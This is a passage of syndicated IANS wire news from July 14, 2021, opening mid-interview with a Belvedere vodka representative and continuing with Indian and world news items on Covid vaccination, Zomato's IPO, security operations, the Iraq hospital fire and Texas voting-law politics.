For me, this is important both professionally and personally. Professionally, we are approaching cocktails as many consumers approach food, looking at ingredients and understanding their effects on the body, making mindful choices, occasionally reducing the ABV for a lighter option and this has been something we have pursued for many years. Personally, maintaining a mindful and better lifestyle balance through food and drink, I love ensuring that my cocktails are considered and not hiding artificial ingredients or overly sweetened products.

Q: With most of the world undergoing a series of lockdowns through 2020 into 2021, home bars became safe havens, your take? A: Absolutely! I think prior to the onset of Covid, people had perhaps been intimidated by the idea of making cocktails at home and many had not seen the value in the investment in the tools or more premium products for home consumption. With nearly all of the world's bars and restaurants closed for a period of time across the globe, I think people expanded their comfort zone and took up new interests and hobbies. Coupled with the incredible work via social media and platforms such as Masterclass, bartenders made themselves valuable learning assets virtually teaching the skills to consumers in their own homes, reducing the intimidation and enabling people to have fun experiences.

Q: What makes Belvedere a great option for amateurs who want to learn the art of mixing? A: The creation of a great drink or piece of art is all about foundation and what you start with. Belvedere is an excellent choice to create an elegant, structured base with ample complexity and flavour to build other ingredients on top. Whether you are making a simple martini, a drink we always say where there is nowhere to hide, or a more complex mixed drink with multiple dimensions, the power of our rye character always shines through. And, you are safe in the knowledge the Belvedere is Made with Nature, free from additives, 100 per cent natural and sugar free under polish law.

Q: Tell us more about the "made with nature" platform and how its paving the way to a more conscious approach.

A: For us, it was a natural story to tell and over the past six or so years we have heavily focused on our natural credentials when educating among trade and consumers, but we realized we had an opportunity to really showcase what that meant through Made With Nature. Not only does it showcase the literal description of our liquid made with rye, water and distilled by fire, all recognizable and key elements in nature, but that our commitment to sustainability and CSR is driven well beyond the bottle into our commitment to be one of the greenest distilleries in the world, the commit to the land we share and cultivate to create our product and preservation of energy via projects such as our new biomass plant at our distillery. When it comes to drinks, our cocktails enable the consumer to be more mindful when choosing a cocktail and therefore in turn leads to a more conscious consumption mindset supported by all elements of the campaign.

Q: Your favourite cocktail and go-to ingredient ? A: For me I love anything fresh and green such as cucumber, basil, mint. Nothing too sweet, but a light fragrant ingredient that allows the peppery character of the rye to shine through. You can't go wrong with citrus of course either, and if you want to mix it up from lemon, I always recommend pink grapefruit which pars really nicely with Belvedere.

* My favourite cocktail currently is the Belvedere Air: 1.5 oz/45 ml Belvedere Vodka 75 oz/20 ml Fresh Lemon Juice

.5 oz/15 ml Honey Water (2:1 Honey to Water) 2 oz/60 ml Almond Milk

Sprig of Mint

Place all ingredients into a shaker and shake hard with ice. Strain into a highball glass over fresh ice, and garnish with mint sprig.

(IANSlife Features can be contacted at ianslife@ians.in)
Itanagar, July 14 : One soldier was killed and seven suffered serious injuries after an Army heavy vehicle carrying these personnel met with an accident on Wednesday morning in upper Siang district in Arunachal Pradesh due to inclement weather conditions, Indo-Tibetan Border Police (ITBP) said.

The accident took place between Pango and Palsi in Arunachal Pradesh.

As per the ITBP, which is mandated to guard India-China border and is deputed in Arunachal Pradesh, its troops rushed with an emergency intravenous supply and immediately started possible field critical treatment to the injured soldiers.

"One jawan reported dead but seven seriously injured were stabilised by the team. Injured have been airlifted to the Hospital," said an ITBP statement.
Gandhinagar, July 14 : Prime Minister Narendra Modi will be virtually present on July 16 to inaugurate a host of developmental projects in Gujarat's Ahmedabad and Gandhinagar.

There are some new developmental projects and works which await inauguration/public dedication -- some railway projects, new attractions at the Gujarat Science City and the newly developed Railway station at Gandhinagar and adjoining hotel.

On July 16, the Prime Minister will virtually inaugurate the redeveloped Gandhinagar Railway Station and a 318 room five star hotel atop the railway station. He will also flag off the superfast weekly Gandhinagar-Varanasi train and the Baretha MEMU train. Besides that, the PM will also dedicate to the public some rail electrification as well as broad gauge conversion projects.

There are three new attractions which await inauguration at the Gujarat Science City. The Aquatic gallery is built at an estimated cost of Rs 264 crore. One of the attractive feature of this gallery is underwater walk-way tunnel. The other attractions are Global robotic gallery built at Rs 127 crore and a Nature Park built at Rs 14 crore.

Union home minister Amit Shah will also remain present virtually through video conferencing. Gujarat chief minister Vijay Rupani, deputy chief minister Nitin Patel, union Railway minister Ashwini Vaishnaw, union minister of state for railways, Darshana Jardosh and other cabinet ministers of Gujarat will be physically present at these events.

The prime minister was expected to come to Gujarat in the third week of July, most probably on July 15, but that program has been changed and now the PM will be participating virtually. Gujarat chief minister Vijay Rupani had hinted at a program that the PM would be inaugurating these projects.
Gurugram, July 14 : The Gurugram police have arrested two wanted criminals carrying a bounty of Rs 1 lakh each after a brief exchange of fire. The accused received two gunshots in their leg while a police constable also received a gunshot in his hand and two other constables received minor injuries, the police said on Wednesday.

The police have also recovered an illegal pistol and a motorcycle from their possession. The arrested accused were allegedly involved in a dozen of cases of murder, attempt to murder, loot and dacoity. They recently had killed a PG operator in Gurugram.

According to the police, the accused have been identified as Prashant alias Jontu and Manish Jhakhad, residents of Jhajjar.

"A team of Crime Branch Sector 39 under the supervision of Sub-Inspector Rajkumar Sharma received a tip-off on Wednesday around 4.30 a.m. about the presence of the two criminals in Ghata village, Aravalli road," Preet Pal Sangwan ACP (crime), told IANS.

Soon after receiving the information, the police team put up a barricade on the stretch. Thereafter, two men on a motorcycle reached there and when the cops tried to stop them, the duo allegedly fired on the police. Around 40 rounds of firing took place during the encounter.

"In a crossfire, bullets hit the legs of Prashant and Manish and the duo fell from the motorcycle and cops arrested them, while a police constable Akash also received a bullet injury in his hand," the police said.

Later the accused were admitted to a Delhi hospital for further treatment.

"The duo were involved in serious offences like murder, attempt to murder and many others which they had committed in Gurugram, Jhajjar and Dadri in Haryana.

On May 5, 2021, they had killed a PG operator Sandeep at Islampur village in Gurugram due to old enmity. A case in this regard was registered at Sadar police station Gurugram, the ACP said.
Mumbai, July 14 : The much anticipated initial public offering (IPO) of online food delivery company Zomato opened on Wednesday at Rs 72-76 per share offer and was fully received by the retail investors.

The retail segment of the offering has been fully subscribed in just over an hour. So far, the IPO has been subscribed around 20 percent on the first day of bidding.

On Tuesday, the company said that it has raised Rs 4,196 crore from several prominent institutional investors as part of an anchor book allocation. It has allocated 55.2 crore equity shares, to anchor investors, at a price of Rs 76 per share.

Government of Singapore, BlackRock, Goldman Sachs, Abu Dhabi Investment Authority among others were the participants in the anchor book.

Jyoti Roy, DVP- Equity Strategist at Angel Broking Ltd noted that along with global investors the anchor portion witnessed strong participation from domestic mutual funds who were allotted 18.4 crore shares aggregating to Rs 1,399 crore out of the Rs. 4,196 crore anchor book.

"Strong participation by institutions in the anchor book bodes well for the IPO and we expect continued strong demand for the IPO from both institutional and retail investors alike. Given strong delivery network, high barriers to entry, expected turnaround and significant growth opportunities in tier-II and tier-III cities, we believe that Zomato will command a premium to global peers and hence have a 'SUBSCRIBE' recommendation on the IPO," Roy said.

The issue comprises an offer for sale of Rs 375 crore by the Info Edge and a fresh issue worth Rs 9,000 crore.
July 14 : Amitabh Bachchans daughter Shweta Bachchan shared a black and white throwback picture from her school days today. While her fans and friends showered her with love and flooded her Instagram post with comments, Shwetas daughter, Navya Naveli Nandas comments grabbed all attention.

Sharing a school group photo on her Instagram handle, Shweta wrote, Wheres WALDO? Class photo: Bombay Scottish School circa 1980s. (hint: all the tall girls were made to sit on the floor). She asked her fans and followers to identify her, and she also gave a hint. However, it was easy for her fans to spot her due to her resemblance with her daughter Navya. In the throwback picture, young Shweta can be seen sitting on the floor along with her classmates, dressed in her school uniform.

Farah Khan Kunder took to the comment section, and wrote, The germophobia started from here?? to which Shweta replied, "@farahkhankunder NO or I wouldnt be sitting on the floor!" Fashion designer Vikram Phadnis wrote, "spotted u !" as Shweta responded, "@vikramphadnis wow Sherlock". Zoya Akhtar commented, You look like Navya here. Navya comment is the best, Hi twin! she wrote to her mom as she too noted how similar they look. Shweta replied her and wrote, Errrr, were not doing this today, cool?

Shweta had never wanted to join Bollywood like father Amitabh Bachchan or brother Abhishek Bachchan. In a Koffee With Karan episode in 2018, she had said that seeing her father and brother taking so much pressure and brutal trolling on social media, that she preferred to stay away from showbiz. Her daughter Navya has also said that she will not join Bollywood but instead would join her fathers family business. However, Shwetas son Agastya Nanda has reportedly showed interest in joining Bollywood.
Mumbai, July 14 : The overall resolution of the IL&FS group companies is likely to stretch beyond the current fiscal as the group has said that around 95 entities will be addressed after FY22 which would result in a debt recovery of around Rs 3,000 crore.

Till May 31, 2021, a total of Rs 43,600 crore was the recovery addressed, which amounted to 44 per cent of the total debt. Around Rs 50,000 crore of estimated recovery is likely to be addressed by September 2021 and 95 per cent of the estimated recovery - Rs 58,000 crore - is expected to be addressed by March 2021.

The Board of IL&FS expects to address overall debt recovery of Rs 61,000 crore. The total outstanding debt of the group October 2018 stood at Rs 99,355 crore.

As per the board, the pandemic has been among the factors which have delayed the resolution process along with timelines for approvals from NCLT and NCLAT and non-receipt of annuities amounting to over Rs 700 crore.

Complex transactions involving PSUs and state government as joint venture partners and appeals filed by over 20 creditors with the Supreme Court against the Resolution Framework has also impacted the resolution process.

It has also cited coercive creditor actions in contravention of court orders such as debits without authorisation, refusal for meeting even "going concern payments" and refusal to create fixed deposits.

Pre-existing litigations and arbitrations in various entities by lenders, contractors and authorities have also impacted the process.
Kolkata, July 14 : West Bengal managed to extract 13 lakh extra doses of vaccine in the last two months from its stipulated quota only by saving the extra dose given in a vial to compensate for the wastage. Kerala is the only state after West Bengal that has recorded a negative wastage by skilfully administering the vaccine and has earned accolades from the central government.

Technically the process is called 'negative wastage' which means not only ensuring zero wastage but actually eking out and administering an extra dose from each vial. State health department records said that in the last two months the state has recorded minus 7 per cent wastage of Covishield doses, an impressive feat considering the low supply of vaccines.

"A vial of vaccine contains enough doses to administer 10 shots. But manufacturers add an extra dose in each vial as a "wastage factor". In most cases, a tiny amount of the vaccine gets wasted each time the vaccine is drawn into the syringe. The extra dose is added in the vial to compensate for this loss. But if the vaccinator is skilful, it is possible to save this extra dose to vaccinate 11 persons from many vials," a senior official of the health department said.

"The negative vaccine wastage in Bengal is now around -7 per cent, and the quantity saved will go up further as we go on saving more doses as the inoculation drive progresses," a state family welfare officer said.

In other words, for every 1 lakh doses, the state is managing 7,000 extra doses. Such efficiency was also recorded by Kerala, a feat that came in for appreciation from central government officials.

In Covaxin's case, Bengal initially had 1 per cent wastage, the optimal wastage limit suggested by the Centre. This has been reduced to zero. The initial wastage was due to public inhibitions about the vaccine, sources said.

A vial containing 10 doses has to be utilised within four hours of opening. There were several cases of insufficient recipients turning up during this window, leading to wastage.

Official data for May show Kerala and West Bengal standing in sharp contrast to states like Jharkhand and Chhattisgarh which recorded a high 33.9 per cent and 15.7 per cent wastage respectively. The wastage for other states is lower, but still on the higher side like in Madhya Pradesh (7.3 per cent), Delhi (3.9 per cent), Gujarat (3.6 per cent) and UP (3.7 per cent).

Till Tuesday evening, Bengal had administered a total of around 2,45,29,000 doses approximately, about 28 lakh doses of which were done by private vaccination centres. So far, the state has received a total of about 1.93 crore Covishield doses and 32 lakh Covaxin doses for government centres since the inoculation drive began, apart from 25 lakh doses for the private sector since May.

The extra vaccination comes at a time the scanty vaccine supply to Bengal has slowed the pace of vaccination in the state. More than 3 lakh doses were being administered daily around the third week of June; the figure now is 2 lakh plus.

-- The story has been published from a wire feed without any modifications to the text
Chennai, July 14 : The Tamil Nadu state handloom department is on a mission to promote handlooms among all income groups in the state and to scout for international markets.

Chief Minister M.K. Stalin had on Tuesday met Minister for Handlooms and Textiles, R Gandhi and Minister for Rural Industries, T.M. Anbarasan and held a review meeting on the status of handlooms in the state. He directed the department to conduct a massive publicity campaign on Tamil Nadu handlooms and to promote the brand Co-optex among the younger generation.

The Tamil Nadu government has also directed its employees to wear handloom clothes twice a week to promote the products.

The department is in the process of roping in advertisement agencies for publicising the product and is in discussions with designers to develop a new brand that would be attractive to the high-income groups as well as the younger generation.

The state government has allocated Rs 1000 crore for increasing silk production in the state and a slew of measures for this are in the pipeline.

Sources in the state handloom department told IANS that the minister has asked the officials to scout for international buyers. The idea, according to officials, is to mainly target the Tamil diaspora spread across the world and then move to get international business on the basis of the quality and design of the material.

The DMK had in its election manifesto of 2021 pledged to help the weavers and the steps being taken to promote handlooms are considered as a first step to uplift the ailing handloom sector of the state.

Muthukumaran, a weaver from Kannyakurmai district of Tamil Nadu who belongs to a family of traditional weavers, told IANS that "The steps taken by the government are welcome but they should be taken to their logical conclusion and not dropped midway. We are in the doldrums following the Covid pandemic as well as the lack of interest in handloom products. Moreover the time consumed for making a product is not considered when it is priced and this gives us very little returns on our efforts."
Baghdad, July 14 : At least 92 people have been killed and dozens wounded in the huge fire that broke out at a hospital in Iraq's southern province of Dhi Qar, reports said.

On Monday evening, the fire broke out in the quarantine center of the al-Hussein Hospital in the provincial capital al-Nasiriyah, and quickly spread to the nearby 20 sandwich panel caravans. the official Iraqi News Agency reported.

Firefighters and teams of civil defence rushed to the scene to evacuate the patients and health workers, and they put out the fire hours later.

On Tuesday, Iraqi Prime Minister Mustafa al-Kadhimi held a cabinet meeting, during which he pledged to announce the result of the investigation into the fire within a week, according to a statement issued by the prime minister's media office.

Meanwhile, al-Kadhimi decided to suspend and detain the director-general of the provincial health department, the director of the hospital and the provincial civil defense director, and ordered an investigation into the deadly incident, said the statement.

He also declared a three-day national mourning for the victims, it added.
Hyderabad, July 14 : Disenchanted with the Maoist ideology, an extremist who was born to a top leader of the banned outfit in Dandakarnya forest, surrendered before Telangana police chief on Wednesday.

Ravula Ranjith alias Srikanth was born and brought up in the thick of Maoist ideology. However, he said he has realized that under the current circumstances, there are no grounds for the armed outfit to pursue the revolutionary movement in the light of digital revolution coupled with the welfare-oriented and people-friendly policies of the government.

Realizing the futility of the ideals of Communist Party of India (Maoist) he gave up arms before Director General of Police M. Mahender Reddy.

Ranjith is son of CPI (Maoist) Central Committee Member (CCM) and Secretary of Dandakarnya Special Zonal Committee (DKSZC) Ravula Srinivas alias Ramanna and Madivi Savithri, Divisional Committee Member (DVCM), Kistaram AC.

After the death of his father last year, he realized the futility of continuing in the outlawed Maoist outfit and attracted by the provisions of comprehensive surrender and rehabilitation policies of Telangana Government, he decided to leave the party to join mainstream.

The DGP handed over a demand draft of Rs 4 lakh towards his rehabilitation and Rs 5,000 for immediate expenses.

Ranjith was born in 1998 in Dandakaranya forest and brought up in South Bastar division of Chhattisgarh.

Since his childhood he was groomed in revolutionary ideology and waging war against the State with an objective of establishing New Democratic Revolution (NDR) through the barrel of gun.

He studied from Class 1 to Class 6 in the CPI (Maoist) established Janatana Sarkar School at Puttapadu area in Chhattisgarh, where he was indoctrinated with the revolutionary ideology from his childhood.

His father got him admitted in Kakatiya School, Nizamabad on the name of R. Srikanth son of Srinu, where he studied up to Class 10 During the holidays, het used to visit Dandakarnya Special Zonal Committee (DKSZC) area with the help of Nagesh, DVCM, Shabari AC.

After competing Class 10, he joined underground armed formations. After Nagesh was killed in an exchange of fire in 2015, Ramanna decided not to send his son outside.

Ranjith educated the tribals of Dandakaranya forest area on the need to advance the New Democratic Revolution (NDR) and was instrumental in propagating the ideology of CPI (Maoist) along with his father from April 2015 to November 2017.

On the advice of his father he joined in CPI (Maoist) Battalion in November 2017 and worked in 2nd Platoon of 1st Company as Party Member. In 2019,he got elevated as Platoon Party Committee (PPC) Member.

He told police that after his father died of ill-health in August 2020, Katta Ramchandra Reddy, CCM succeeded as Secretary of DKSZC.

Ranjith, who faced humiliation in the party after the death of his father, realized that there is no relevance and acceptance for the movement in today's context. He appealed to the Maoist cadres to give up arms and join the mainstream.

He confirmed that Yapa Narayana, CCM and Secretary, Telangana State Committee died as a result of contracting Covid-19 and due to lack of proper treatment in the jungles.

According to DGP, Ranjith participated in four brutal attacks on security forces and one ambush in addition to several other incidents during his underground life.

He participated in Kasaram attack in 2018, wherein nine security personnel were killed when Maoists blasted a mine-proof vehicle. He also participated in Erram attack in 2020, in which one Company Party Committee (CYPC) Member died with no causalities to the security forces.

He also took part in Minapa attack in 2020, wherein 23 Security personnel and 3 party cadre died in an ambush by the Maoists and the party snatched12 AK-47 and 2 Insas rifles from security forces.

He also participated in Jeeram attack in April 2021, wherein 26 Security personnel and 6-party cadre died and the party snatched 14 fire arms from security forces.

The DGP appealed to the Moist cadres to join the mainstream and take part in the advancement of the nation through constructive participation and benefit from the rehabilitation process of Telangana State which includes immediate relief with suitable amount and other support measures.
New York, July 14 : Google searches related to infertility and coronavirus vaccines increased by 34,900 per cent after two physicians submitted a petition to the European Medicines Agency (EMA) questioning the safety and efficacy data of the Covid-19 Pfizer vaccine.

While the US Food and Drug Administration and EMA issued emergency use authorisation for the vaccine, anti-vaccine activists circulated claims that misconstrued the information regarding the possibility that the vaccine could impact fertility in women.

The inaccurately represented information spread rapidly on social media channels, potentially influencing public perception and decision-making among pregnant patients or those seeking to become pregnant, according to research published in the Journal of Osteopathic Medicine.

"Misinformation is a significant threat to healthcare today and a main driver of vaccine hesitancy," said Nicholas Sajjadi, osteopathic medical student at Oklahoma State University College of Osteopathic Medicine.

"We're seeing well-intentioned research and concerns taken out of context to stoke fear and anxiety about vaccination." On December 1, 2020, Wolfgang Wodarg and Michael Yeadon petitioned to withhold emergency use authorisation of the Pfizer-BioNTech vaccine for Covid-19, raising unfounded concerns that female infertility could arise from vaccine-induced antibodies. It is important to note that the petitioners acknowledged the absence of any evidence associating female infertility risks with Covid-19 vaccines.

Using Google Trends tools the team found that although social media was rife with misinformation, the public turned to Google to understand if the information was legitimate.

At peak interest, the Google search terms "infertility" (119.9 per cent), "infertility AND vaccine" (11,251 per cent) and "infertility AND Covid vaccine" (34,900 per cent) experienced increases.

"I'm disappointed this misinformation occurred, but I am pleased to see spikes in searches because it reflects genuine interest and suggests that people are doing their research and trying to make informed decisions," said J Martin Beal, an OB-GYN with Tulsa OB-GYN Associates.

"In the battle to fight misinformation, Google Trends can be an effective tool to help physicians recognise and proactively address false claims with patients," Sajjadi said.

Latest updates on Coronavirus (COVID-19)

-- The story has been published from a wire feed without any modifications to the text
Lucknow, July 14 : Families of 2,020 government employees who died of Covid during the Panchayat poll duty will receive Rs 30 lakh each in compensation from the Uttar Pradesh government.

Additional Chief Secretary (Panchayati Raj) Manoj Kumar Singh said that 3,092 applications had been received under revised protocols for determining death on duty from Covid and 2,020 cases were recommended as eligible for compensation.

"There are an additional 10 to 20 cases which will be forwarded to the state advisory board on Covid. Once they confirm the eligibility, their families will also receive compensation," he said.

Under the earlier definition of 'death on duty', the government had identified 74 government employees who died of Covid and non-Covid reasons.

The rules stated that compensation would be given only if the employee died on duty or during travel to and from place of duty, which factored in a day or maximum two, depending on how far the employee travelled.

However, various employees' associations protested and claimed that more employees had succumbed to Covid while on duty.

Chief Minister Yogi Adityanath directed the chief secretary and Panchayati Raj officials to request the Election Commission to amend rules to reflect the impact of the pandemic.

The state cabinet on May 31 approved the changed rules under which ex-gratia would be granted if Covid death took place within 30 days of the date of election duty. Those who tested negative, but died of post-Covid complications within a timeframe would also be considered for compensation. The government has considered a positive RT-PCR or antigen test, blood report or CT scan of the chest as evidence of Covid infection.

In the cases forwarded for review to the advisory board, Singh said, RT-PCR or antigen reports were missing, but doctor's prescription, blood tests showing high CRP value and proof of treatment as Covid presumptive case were attached.

Latest updates on Coronavirus (COVID-19)
Chennai, July 14 : The Greater Chennai Corporation will fine apartment owners and residential sites, small shops and establishments, malls and other buildings found with stagnant water in their premises that breeds mosquito larvae.

With intermittent rain on a daily or alternate basis, the puddles of water are turning into breeding grounds of mosquitoes. This is why the corporation has issued warnings to nearly all residential complexes, individual homes as well as malls, shops and premises.

The Chennai civic body officials said they are taking steps to prevent the spread of dengue and will penalize residents and establishments if mosquitoes are found breeding in their premises.

According to health officials, the city has reported nine dengue cases in July this year till Tuesday while in June there were only three cases of dengue.

According to officials, during the north-east monsoon which brings heavy rain, the mosquito eggs are washed away but during the present south-west monsoon, the intermittent rain leaves puddles of water leading to breeding of mosquitoes.

The health department of the Greater Chennai Corporation has already deployed several squads across the corporation limits. This has been done to locate stagnant water bodies and spray insecticides to destroy the mosquito larvae.

The civic body has chalked out a plan and would conduct inspections near the residences of patients suffering from dengue. The house owners will be served a notice for the first violation and for the second time will be fined Rs 100 and Rs 200 for the third violation.

A fine of Rs 500 will be levied on apartment complexes for the first violation, Rs 5000 for the second time and Rs 15,000 for the third violation. Small shops would be fined Rs 500, Rs 2000 and Rs 5000 for the first, second, and third violations respectively.

Government buildings, commercial establishments and industries will have to pay Rs 10,000 for the first violation, Rs 25,000 for the second and Rs 1,00,000 for the third violation.

A Corporation official told IANS, "The corporation will conduct surprise inspections at residential complexes, shops and commercial buildings as well as individual homes and flats to find whether there is stagnant water in their premises. Except for individual homes where we will serve a notice, in all other places we will levy a fine from the first violation itself. People have to be more responsible to contain diseases spread by mosquitoes and if no action is taken, there will not be any positive results."
New Delhi, July 14 : Manpower outsourcing company Quess Corp has denied concealing any income after the IT department claimed that it has revealed undisclosed income of around Rs 880 crore during raids of the company's two premises in Bengaluru.

Quess Corp has said that the Income Tax Department conducted a survey under Sec 133A of the Income Tax Act, 1961 at its Registered Office, and at that of its subsidiary Terrier Security Services, during July 8-10, 2021.

"We extended full cooperation to the Department, including providing complete information in a timely manner, and have not received any claims to date," it said in a regulatory filing.

The key focus of the survey appears to have been to verify deductions we have previously claimed u/s 80JJAA of Income Tax Act, 1961, a section which incentivises new employment generation, it said.

Claiming that it has been 100 per cent compliant tax payer, the company said that it paid a total of Rs 2,900 crore in tax and statutory contributions to the government in FY21, which represents, 12 times the company's normalized profit for the year, or 26 per cent of its revenue.

"We maintain a scrupulous record of our financial dealings, and contribute towards nation-building as a responsible business," it said.

Saying that its claims under section 80JJAA are entirely in line with the letter, spirit and intent of the law, and aligned with prevailing industry practices, it added: "We further refute any allegations of 'concealment' of income. The queries raised to date by the Income Tax department are interpretational in nature," Quess added that it will continue to cooperate with the department even as it stands committed to "vigorously defending" its interpretation using all recourse available.

In a Finance Ministry on Tuesday said in a statement that the IT Department has unearthed concealed income of Rs 880 crore during raids on a leading manpower services provider in Bengaluru. The ministry, however, did not divulge the name of the concerned company.

It added that the assessee has been claiming huge deduction u/s 80JJAA of Income-tax Act, 1961 which incentivises new employment generation, subject to fulfilment of certain conditions such as emoluments paid to the employee (which should be less than Rs 25,000 per month) and number of days of employment, among others.

During the course of the survey operation, evidence of tax evasion was gathered regarding wrongful claims of deduction u/s 80JJAA of Income-tax Act, 1961, the statement had said.
Hyderabad, July 14 : The trailer of Telugu star Venkatesh Daggubati's upcoming film "Narappa" was released on Wednesday. The film will have its world premiere digitally on July 20.

"Narappa", which is the Telugu remake of the Dhanush-starrer Tamil hit "Asuran", is directed by Srikanth Addala and also stars Priyamani in an important role. The remake is produced by Venkatesh's elder brother D. Suresh Babu with Kalaippuli S. Thanu.

"'Narappa' is a story that holds a special place in our hearts. Its narrative is layered and quite thought-provoking. From the Venkatesh to Priyamani, every cast as well as crew members have put in an incredible amount of love and dedication to bring this story alive. We wanted every viewer to leave with more than just a story and that is exactly what this gripping drama has to offer," D Suresh Babu said.

Co-producer Thanu added: "I am quite honoured to be a part of this phenomenal film in my own way. The film's core message is very powerful. It does not shy away from the truths. I am certain that it will impact in ways that no one would expect." "Narappa" also features Ammu Abhiraami, Karthik Rathnam, Rajsekhar Aningi, Rao Ramesh and Rajiv Kanakala in the pivotal roles.

The film will premiere on Amazon Prime Video.
Srinagar, July 14 : Three terrorists belonging to proscribed outfit Lashkar-e-Taiba (LeT) were eliminated in an overnight joint operation by the police, army and CRPF in South Kashmir's Pulwama district, officials said on Wednesday.

One of the three terrorists has been identified as a Pakistani, and the other two are locals.

The army said in the eight hour-long operation, Aijaz alias Abu Huraira, a Pakistani terrorist and two other terrorists identified as Javed Rather of Tahab, Pulwama and Shahnawaz Gani of Srinagar belonging to LeT were eliminated by the security forces.

The Army said after receiving specific intelligence input from the police about the presence of terrorists in the built up area of New Colony in Pulwama, an operation was launched by troops of Panzgom, the Pulwama-based Rashtriya Rifles Battalion, J&K Police and the CRPF at 11.55 p.m. on Tuesday.

"As the troops were laying cordon at 1.20 a.m. on Wednesday, the terrorists opened fire on the troops and tried to escape taking advantage of darkness. Alert troops immediately returned fire and trapped the fleeing terrorists in a house." "A call for surrender was given, but the terrorists continued firing indiscriminately and a gunfight ensued." Two AK-47 rifles, one pistol and other warlike stores were recovered from the encounter site.

As per the police, these notorious terrorists were involved in many anti-national activities and were involved in recruiting terrorists in South Kashmir.

"Neutralization of the three terrorists will go a long way in bringing peace in Pulwama district and alleviate the civilians of their sufferings and hardships at the hands of these notorious terrorists," the army said.

-- Except for the title, this story has not been edited by Prokerala team and is auto-generated from a syndicated feed
Washington, July 14 : Democrats from the US state of Texas have defied threats of arrest after fleeing the state in an effort to stop Republicans from passing a sweeping new voting law.

More than 50 Democrats flew to Washington DC on Monday, in a move intended to paralyse the state's House of Representatives ahead of the vote.

At least two-thirds of the chamber's 150 members must be present for a vote. On Tuesday, Republican Governor Greg Abbott threatened the missing politicians with arrest, BBC reported.

He said they would be detained "as soon as they come back" to Texas.

"They will be cabined inside the Texas Capitol until they get their job done," he said in an interview with the local television station.

In Austin, where the Texas State Capitol sits, House Republicans authorised state police to find and bring back the Democrats "under warrant of arrest if necessary".

State police, however, have no jurisdiction outside of Texas.

And Representative Eddie Morales, a Democrat who did not fly to Washington, told the Associated Press that he did not expect state police to leave Texas to detain the politicians.

The voting bill that prompted the Democratic exodus would ban 24-hour polling places and add ID requirements for mail-in voting.

It was proposed amid a wave of voting restrictions in Republican-led states. Republicans argue the measures are essential for election security, but Democrats see them as an attack on the right to vote.

The Texas Senate passed its version of the bill on Tuesday, but the House was unable to follow suit due to the missing Democrats. It must be passed in both chambers to become law.

The Democrats in Washington, who left Austin on two private jets on Monday, have vowed not to return until the 30-day special session on the bill ends next month.

"Our intent is to stay out and kill this bill this session," Texas House Democratic Caucus Chairman Chris Turner said on Tuesday.

In a news conference outside the US Capitol, he said the Texans would use their time in Washington "to implore the folks in this building behind us to pass federal voting rights legislation".

Governor Abbott, however, has pledged to continue calling special sessions until the voting bill is passed.
New Delhi, July 14 : Aiming to provide better videography skills, leading smartphone brand OPPO on Wednesday unveiled two new phones under its much-awaited Reno series, along with Enco X true wireless noise-canceling earphones, in India.

The new OPPO Reno6 Pro 5G and Reno6 5G will be available for Rs 39,990 and Rs 29,990 in two new colours -- aurora and stellar Black -- on Flipkart from July 20.

The earphone will be available in blue colour option.

"The Reno6 series is perfectly poised to redefine the frontiers of what you can expect out a smartphone," Damyant Singh Khanoria, Chief Marketing Officer, OPPO India told IANS.

The phones feature a 6.5-inch 3D curved display with a 90Hz refresh rate and up to 180Hz touch sampling rate, ensuring a smooth feel and comfortable viewing experience.

The display is HDR10+ certified for a more vivid visual experience. Paired with this display is 360-degree Light-Sensing enabled by two ambient light sensors, which improve the accuracy of auto-brightness adjustments, making the viewing experience more comfortable.

"Consumers today are looking for superior imaging capability, stunning design, powerful performance, and an unparalleled experience," Khanoria said.

"To cater to these demands, we launched our most awaited Reno6 series- crafted and designed with passion. The 5G superphone will enable users to capture their emotions in portrait providing an ultimate professional-level experience," he added.

Both the Reno6 Pro 5G and the Reno6 5G feature an AI-enabled 64MP quad-camera setup on the rear and a 32MP front camera. Additionally, the devices have a dedicated colour temperature sensor that captures colours more accurately.

It comes with an industry-first Bokeh Flare Portrait Video, Reno Glow design and AI Highlight Video to provide a top-notch experience.

In addition to this, to deliver a flagship-level performance, the Reno6 Series are powered by powerful chipsets -- MediaTek Dimensity 1200 in Reno6 Pro 5G and MediaTek Dimensity 900 in Reno6 5G.

The Reno6 Pro 5G will be available in the 12GB+ 256GB variant while the Reno6 5G will be available in the 8GB+128GB variant.

-- The story has been published from a wire feed without any modifications to the text
New Delhi, July 14 : In a telephonic conversation, Prime Minister Narendra Modi and Maldives President Ibrahim Mohamed Solih on Wednesday took stock of the overall bilateral relations and the ongoing substantive cooperation between the two countries.

President Solih thanked Prime Minister Modi for India's cooperation and support in the fight against the Covid pandemic, mentions a statement from Prime Minister's Office.

Both leaders reviewed the progress of the India-supported development projects in the Maldives and expressed satisfaction at the rapid pace of implementation despite the constraints of the Covid pandemic.

Prime Minister Modi noted that Maldives is a central pillar in India's 'Neighbourhood First' policy and its maritime vision of Security and Growth for All in the Region (SAGAR).

He also conveyed his congratulations to President Solih for the election of Foreign Minister Abdulla Shahid as the President of the UN General Assembly.

-- The story has been published from a wire feed without any modifications to the text
Tehran, July 14 : The spokesman for Iran's government confirmed the ongoing negotiations between Iran and the United States for a prisoner swap, and voiced Iran's readiness for an all-for-all prisoner exchange, official news agency IRNA reported.

"We have repeatedly stated that Iran is ready, for humanitarian reasons, to exchange all (U.S.) political prisoners for all Iranian prisoners," the spokesman for Iran's cabinet, Ali Rabiee, said at a press briefing.

Rabiee stressed that Tehran expects the release of all Iranian citizens imprisoned around the world. Iranians imprisoned in third countries at the request of Washington are considered by Tehran as prisoners of the United States.

Iran already notified the readiness for such a prisoner swap to the previous U.S. administration under former President Donald Trump, but Washington "insisted on taking the Iranians hostage" and refused to sit at the negotiating table, Rabiee added.

The Biden administration showed interest in Iran's exchange offer "since its first days in office," and as soon as "acceptable results" are achieved, the Iranian Foreign Ministry will announce it, he said.

On Saturday, the U.S. special envoy for Iran Robert Malley said the negotiations with Iran for a prisoner exchange had "made some progress," adding that Washington would not accept a "partial deal," but only the release of all U.S. prisoners in Iran.

Malley added that the prisoner issue was being discussed separately from the revitalisation of the 2015 nuclear deal, adding that even if the Vienna talks fail to yield results, the United States would continue to pursue a prisoner exchange agreement with Iran.
Lucknow, July 14 : The impact of the ongoing women empowerment campaign of the Yogi Adityanath government in Uttar Pradesh is now visible in the recently concluded panchayat elections.

The winning women candidates outnumber men on key posts, ranging from village head to the district panchayat chief.

According to official sources, altogether 31,212 women have won the election for the post of gram pradhan, 447 for block pramukh and 42 for the post of district panchayat chairperson in the panchayat elections this year, exceeding the quota of one third seats allocated for them.

